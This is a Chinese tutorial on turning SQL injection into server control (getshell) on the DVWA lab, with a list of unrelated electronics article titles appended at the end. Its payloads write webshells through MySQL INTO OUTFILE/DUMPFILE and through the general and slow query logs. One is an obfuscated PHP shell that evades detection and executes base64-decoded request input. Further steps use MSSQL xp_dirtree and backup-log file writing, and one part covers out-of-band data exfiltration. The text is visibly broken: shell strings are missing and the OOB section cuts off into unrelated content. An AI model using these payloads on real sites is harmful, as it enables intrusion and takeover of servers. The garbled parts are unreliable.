0x00 前言
上一节,我们已经介绍了基本的sql查询语句,常见的sql注入类型,dvwa靶场演示sql注入。学习了上一节我们可以做到执行任意sql语句,主要可以对数据库的数据进行操作,但是不能对服务器和应用进一步控制,本节就介绍下在有sql注入的情况下如何进行下一步的渗透,获取到服务器权限。
0x01 getshell
这里我们还是以上一节说的dvwa靶场为例,利用sql注入漏洞写入webshell获取网站权限。
目标环境:
php+mysql+linux
前提条件:
- mysql 是root权限
- 知道网站在服务器上的物理路径,且可写
- 没有过滤单引号
- `php`的`gpc`为 off状态
- mysql <= 5.6.34
当`secure_file_priv`的值没有具体值时,表示不对`mysql`的导入|导出做限制
show variables like secure_file_priv;
如果是null,表示`mysql`不允许导入导出。(null不等于没有空)
而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默认为null,并且无法用`sql`语句对其进行修改,并且会报错如下:
`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`
下载低版本的mysql测试
利用outfile和dumpfile,**outfile会在每行添加反斜杠,可导出多行,dumpfile只能导出一行,不会添加反斜杠,适合导出二进制文件:
```?id=1' union all select 1,'' into outfile '/tmp/info.php'#?id=1' union all select 1,'' into dumpfile '/tmp/info.php'#```
如果不能使用union查询可以使用`fields terminated by`与`lines terminated by`:
```?id=1' into outfile '/tmp/info.php' fields terminated by ''#```
修改配置getshell:
```vi /etc/mysql/my.cnfsecure_file_priv= /```
小tricks:
利用日志文件getshell
```show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)set global general_log_file = '/var/www/html/info.php'; --设置日志路径select ''; --执行查询,写入shell--sql查询免杀shellselect ;select 'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_request['username']));?>;--慢查询写shell,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错show global variables like '%long_query_time%' --查看服务器默认时间值show variables like '%slow_query_log%'; --查看慢查询信息set global slow_query_log=1; --启用慢查询日志(默认禁用)set global slow_query_log_file='c:\phpstudy\www\shell.php'; --修改日志文件路径select '' or sleep(11); --写shell```
0x02 oob
利用mysql的函数,把信息传递到外网控制的机器,例如文件读取的函数,其实是对上面利用的一种变形和深度利用
前提条件:
- mysql > c:\windows\temp\xx.dll)'```
3.db权限
```目录情况:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1 通过修改id来遍历目录写数据 alter database 数据库名 set recovery full 开启恢复模式full,当恢复模式为 simple 时,不允许使用 backup log 语句。create table test(str image)-- insert into test(str)values ('')-- backup log 数据库名 to disk='c:可读写路径x.asp'-- 这里的目录注意是可读写目录,不然会出问题alter database 数据库名 set recovery simple-- 关闭恢复模式full```
其他:
- com组件利用
- clr利用
- sql server 2016 r利用
- sql server 2017 python利用
- 沙盒利用(openrowset)
- agent job利用
0x04 总结
sql注入到getshell
激光焊缝跟踪系统在保险柜自动焊接的应用
Redmi K30 5G手机30W疾速闪充,可实现30分钟充电61%
电力监控系统的设计及应用
RCC电路原理与设计及问题解析
诺基亚8最新高配置智能手机出来了,留给苹果的时间不多了
SQL注入到Getshell的教程
新唐科技ISD4002芯片简介
PCB板设计的10个基本设计流程
TIA Portal V13 SP1上载程序步骤
初创公司EraClean发布旗下首款空气净化器产品Tower
DacomK6HproTWS上手 主打超强续航表现可圈可点
LED投光灯应用场合
土壤实验室常配备的土壤检测仪器是什么,它的作用是什么?
掀起音频时代潮流,惠州帝耳立足品质与服务助推行业蓬勃发展
ATIM超声波测距仪
三星OLED获得“无频闪”和“护眼显示屏”认证
浅谈超算与云计算的区别
在正确的比较中了解SiC FET导通电阻随温度产生的变化
高压包怎么测量好坏_高压包好坏的测量方法
发起硬盘效能新革命 希捷强推Multi Actuator技术